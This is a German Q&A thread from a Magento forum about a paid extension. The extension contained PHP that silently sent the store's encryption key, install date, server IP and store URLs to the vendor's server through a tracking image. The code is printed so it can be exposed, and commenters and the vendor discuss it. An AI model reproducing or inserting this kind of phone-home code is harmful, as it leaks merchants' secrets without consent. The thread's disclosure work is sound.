Gibt es einen guten Grund, warum ein Modul remote auf global / crypt / key zugreift?

19

Vergib mir meine Unwissenheit, aber der Kryptoschlüssel wird zum Entschlüsseln von Magento-Daten verwendet, oder? Gibt es einen guten Grund für ein Modul, darauf zuzugreifen? Ich bin nach der Installation von Advanced Content Manager auf diesen Code gestoßen ...

<div id="banana-tracker">
<?php
    $stores = Mage::app()->getStores();
    $key = (string)Mage::getConfig()->getNode('global/crypt/key');
    $date = (string)Mage::getConfig()->getNode('global/install/date');
    $serverIp = $_SERVER['SERVER_ADDR'];

    $params = 'key='.$key.'&date='.$date.'&';

    foreach($stores as $store)
    {
        $params .= 'store_'.$store->getCode().'='.urlencode(Mage::app()->getStore($store->getId())->getBaseUrl(Mage_Core_Model_Store::URL_TYPE_LINK)).'&';
    }
?>
<img src="http://www.advancedcontentmanager.com/images/distant/banana-tracker.gif?<?php echo $params; ?>time=<?php echo time(); ?>&serverip=<?php echo $serverIp; ?>" />

TylersSN
quelle
3
DIES. IST. SCHRECKLICH. Es gibt keinen Grund, Ihren Verschlüsselungsschlüssel zu verlieren.
Fabian Blechschmidt,
1
Das ist schlecht, sehr schlecht.
Anna Völkl
1
Schöner Fang! Das ist extrem schlecht ...
Sander Mangel
1
Danke @Sander, dass du es uns erzählt hast. Es wurde aus Connect entfernt.
benmarks
1
@benmarks freut mich das zu hören. Dies ist aus den offensichtlichen Gründen äußerst enttäuschend, da die App äußerst beeindruckend war und der Entwickler in der Vergangenheit äußerst hilfreich und schnell war.
TylersSN

Antworten:

11

Ja ... es gibt einen guten Grund.
Sie wollen es wissen und protokollieren, nur für den Fall. :)

Sie sollten die Erweiterung deinstallieren (wahrscheinlich haben Sie dies bereits getan). Sie sollten niemals Nebenstellen verwenden, die "nach Hause telefonieren", egal welche Daten sie nach Hause senden.

Vielleicht möchten Sie die Erweiterung hier auflisten, damit andere sie sehen können: Lustiger / unbrauchbarer / schrecklicher Code von Magento Extensions

Marius
quelle
1
"Nach Hause telefonieren" wird leider von vielen Modulen erledigt. Amasty und Aheadworks machen das auch: \
Sander Mangel
4
Diese gist.github.com/miguelbalparda/b57a47a010a5995bc44d kann verwendet werden, um in allen Ordnern mit Ausnahme von App / Code / Core nach global / crypt / key von CLI zu suchen.
mbalparda,
Sie können also nicht nur CC-Daten entschlüsseln (gut, dass ich sie nicht speichere), sondern auch Passwörter usw. Ich habe 300 US-Dollar dafür bezahlt, dass sie diese Fähigkeit haben. Das sollte auf Funny gepostet werden.
TylersSN
1
@iUseMagentoNow. Das ist lustig "ooh", nicht lustig "ha ha". Sie sollten um Ihr Geld zurück bitten.
Marius
8

Wir haben heute die Supportanfrage zu dieser Funktion erhalten. Wir haben es bereits behoben und diesen Code entfernt. Eine neue Version ist für alle unsere Kunden in ihrem Kundenbereich verfügbar (kostenlos, da wir unbegrenzte Updates anbieten).

Ich weiß, wir müssen das rechtfertigen, also lasst uns das machen:

  • Das Ziel dieses Trackers war es NUR, die nicht autorisierte Nutzung unserer Erweiterung zu verfolgen.
  • Der Tracker wurde nur im Admin-Bereich angezeigt (keiner Ihrer Kunden oder sonst jemand außer Ihnen und uns konnte ihn sehen).
  • Dies haben wir auch in unserer DB entfernt.
  • Der Schlüssel dient nur zum Verschlüsseln Ihres Administratorkennworts. Da wir bei Supportanfragen immer mit Ihnen zusammenarbeiten, haben Sie uns möglicherweise Ihre Anmeldeinformationen ohnehin per E-Mail zu Supportzwecken gesendet. Wenn wir Ihr Passwort wollten, würden wir es direkt senden ... Es war nicht das Ziel.
  • Auch mit dem Schlüssel ist Ihr Passwort noch verschlüsselt. Und magento admin blockiert Benutzer nach einigen Versuchen.

Wir erkennen, dass es ein Fehler ist, und dies ist die Stärke der Community und des Open Source-Systems: Wir können viel schneller Fehler beheben und verbessern. Vielen Dank, dass Sie uns alarmiert haben. Wir werden uns jetzt mehr um die Schwachstelle bemühen.

Erweiterter Content Manager
quelle
3
+1 für die Mühe, hier in der Öffentlichkeit auf Magento SE zu antworten!
7.
2
Nicht autorisierte Nutzung der Erweiterung ?! Sie können dafür einfach die Domain verwenden.
mbalparda